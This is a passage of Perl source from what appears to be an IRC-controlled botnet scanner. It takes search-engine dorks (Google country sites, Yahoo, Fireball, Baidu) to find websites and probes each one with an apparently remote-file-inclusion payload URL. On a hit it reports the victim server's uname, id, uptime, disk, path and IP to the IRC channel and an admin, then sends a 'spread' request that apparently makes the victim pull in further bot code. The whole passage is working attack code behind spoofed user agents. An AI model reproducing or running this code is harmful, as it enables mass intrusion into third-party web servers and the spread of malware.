}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @guklist = &guk($dork);
push( my @tot, @guklist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 GoogleUK 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google UK Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Google UK ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google UK");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @gdelist = &gde($dork);
push( my @tot, @gdelist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google DE 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google DE Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.8 [en] (Windows NT 5.0; U)');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1GOOGLE DE ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1GOOGLE DE");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @ylist = &yahoo($dork);
push( my @tot, @ylist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Yahoo 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Yahoo Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.8 [en] (Windows NT 5.0; U)');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Yahoo ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Yahoo");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @ylist = &fireball($dork);
push( my @tot, @ylist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Fireball 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Fireball Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.8 [en] (Windows NT 5.0; U)');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Fireball ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Fireball");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @ylist = &git($dork);
push( my @tot, @ylist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google IT 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google IT Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.8 [en] (Windows NT 5.0; U)');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Google IT");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google IT");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @gatlist = &gat($dork);
push( my @tot, @gatlist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google AT 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google AT Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1GOOGLE AT ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1GOOGLE AT");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @gnllist = &gnl($dork);
push( my @tot, @gnllist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google NL 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google NL Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1GOOGLE NL ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1GOOGLE NL");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @geslist = &ges($dork);
push( my @tot, @geslist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Google ES 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google ES Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1GOOGLE ES ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1GOOGLE ES");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @baidulist = &baidu($dork);
push( my @tot, @baidulist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel :12,1 Baidu 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4$dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Baidu Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6');
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Baidu ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
